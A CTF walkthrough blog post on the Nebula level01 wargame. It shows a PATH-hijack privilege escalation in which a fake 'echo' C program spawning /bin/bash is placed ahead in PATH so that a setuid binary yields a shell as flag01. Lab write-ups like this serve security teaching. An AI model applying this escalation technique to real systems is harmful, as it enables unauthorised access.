­
Nebula – fake your echo (level01) – walkthrough - All Articles - CISO Platform

Nebula 01

Hello there, so you’ve come for more of these ha !


Video Walkthrough.

Lets login to the nebula01 using the following credentials

username: level01

password: level01


let’s move into the diectory where the flag is located. You can perform a locate command to figure that out if you aren’t aware of its location.

# locate flag01

# cd /home/flag01

# ls -la


so we do have the location of the flag. Lets try to execute the flag01 to see what happens .. now what ?

# ./flag01

\

It just “says and now what ?”

executing the flag01, dose not give us permission to trigger the getflag command after all. Lets try to run an ltrace command on the flag and see what its upto. We also do have the source code of the flag01 in out challenge instructions.

# ltrace ./flag01



Comparing our ltrace output to the source code from exploit education http://exploit.education/nebula/level-01/ , we can see that there is a system call that uses the function “echo” that prints “now what ?”

now, this echo command runs as the user flag01, since its a system call. Inorder to understand this we need to understand about environment variables and PATH.

So what i am gonna do is that, ill try to make the “flag01” executable from any path in the system.

Lets take a look at “/usr/bin/env” which is listed in the source code.

# /usr/bin/env


now you can see the PATH here .. you can also read the path by runnung the following command.

# echo $PATH

https://blankdash.files.wordpress.com/2020/02/07.png?w=150 150w, https://blankdash.files.wordpress.com/2020/02/07.png?w=300 300w" sizes="(max-width: 679px) 100vw, 679px" />

so, the echo command is fetched from this path. In order to make our flag accessable from anywhere in the system, we need to add the path of the flag01 to the above. Lets try doing that ..

# export PATH=/home/flag01:$PATH

we can now check the new path and try executing flag01 from different places in the file system.

# echo $PATH

# flag01

# cd /tmp

# flag01


Good, now that we have understood how this works, we would be able to take advantage of the source code. If you carefully notice there is a system call in the source code that executes “echo” command.

This “echo” command is called from the given path, so if we modify the path to something else and create a fake “echo” program which allows us to spawn a bash shell we would be able to escalate privilege. Lets try doing that.

# cd /tmp

# nano echo.c


writing a system call function :

int main ()

{

system(“/bin/bash”);

}


save the file as echo.c, now since this is a C program we need to compile it inorder to run the file.

# gcc -o echo echo.c

# ls -la

# ./echo


we have now conformed that our fake echo program works, you can see that it spawns a bash shell when executed. Let’s try to make this echo program to be executed anywhere in the system, just like how we did it with the flag01.

# export PATH=/tmp:$PATH

# echo $PATH

 since, we made this work .. we can execure both flag01 and echo from any path in the file system. Now we already know that the flag01 when executed calls the echo command, when that happens since “/tmp” is the PATH set to call echo first, its gonna call the “fake echo” that we created which would spawn a bash shell as the user “flag01”

lets try doing that

# cd

# flag01

we win ..


you can see that the shell has switched from, lavel01 –> flag01. now lets execute the getflag command to own the challenge.


 # getflag


Thats it ! See you in the next one –> follow the white rabbit

Votes: 0
E-mail me when people leave their comments –

You need to be a member of CISO Platform to add comments!

Join CISO Platform

Join The Community Discussion

CISO Platform

A global community of 5K+ Senior IT Security executives and 40K+ subscribers with the vision of meaningful collaboration, knowledge, and intelligence sharing to fight the growing cyber security threats.

Join CISO Community Share Your Knowledge (Post A Blog)
 

 

 

CISO Platform Talks : Security FireSide Chat With A Top CISO or equivalent (Monthly)

  • Description:

    CISO Platform Talks: Security Fireside Chat With a Top CISO

    Join us for the CISOPlatform Fireside Chat, a power-packed 30-minute virtual conversation where we bring together some of the brightest minds in cybersecurity to share strategic insights, real-world experiences, and emerging trends. This exclusive monthly session is designed for senior cybersecurity leaders looking to stay ahead in an ever-evolving landscape.

    We’ve had the privilege of…

  • Created by: Biswajit Banerjee
  • Tags: ciso, fireside chat

CISO MeetUp: Executive Cocktail Reception @ Black Hat USA , Las Vegas 2025

  • Description:

    We are excited to invite you to the CISO MeetUp: Executive Cocktail Reception if you are there at the Black Hat Conference USA, Las Vegas 2025. This event is organized by EC-Council & FireCompass with CISOPlatform as proud community partner. 

    This evening is designed for Director-level and above cybersecurity professionals to connect, collaborate, and unwind in a relaxed setting. Enjoy…

  • Created by: Biswajit Banerjee
  • Tags: black hat 2025, ciso meetup, cocktail reception, usa events, cybersecurity events, ciso

6 City Playbook Round Table Series (Delhi, Mumbai, Bangalore, Pune, Chennai, Kolkata)

  • Description:

    Join us for an exclusive 6-city roundtable series across Delhi, Mumbai, Bangalore, Pune, Chennai, and Kolkata. Curated for top cybersecurity leaders, this series will spotlight proven strategies, real-world insights, and impactful playbooks from the industry’s best.

    Network with peers, exchange ideas, and contribute to shaping the Top 100 Security Playbooks of the year.

    Date : Sept 2025 - Oct 2025

    Venue: Delhi, Mumbai, Bangalore, Pune,…

  • Created by: Biswajit Banerjee

National Insider Risk Symposium, Washington DC, USA 2025

  • Description:

    We are excited to invite you to the 10th National Insider Risk Symposium, a premier forum bringing together leaders and experts from both the commercial and public sectors to address the evolving landscape of insider threats. CISOPlatform is a proud community partner for this event. 

    Event Details:
    Venue: National Housing Center, 1201 15th St NW, Washington, D.C. 20005
    Dates: September 17–18,…

  • Created by: Biswajit Banerjee
  • Tags: national insider risk symposium, ciso, cybersecurity events, usa events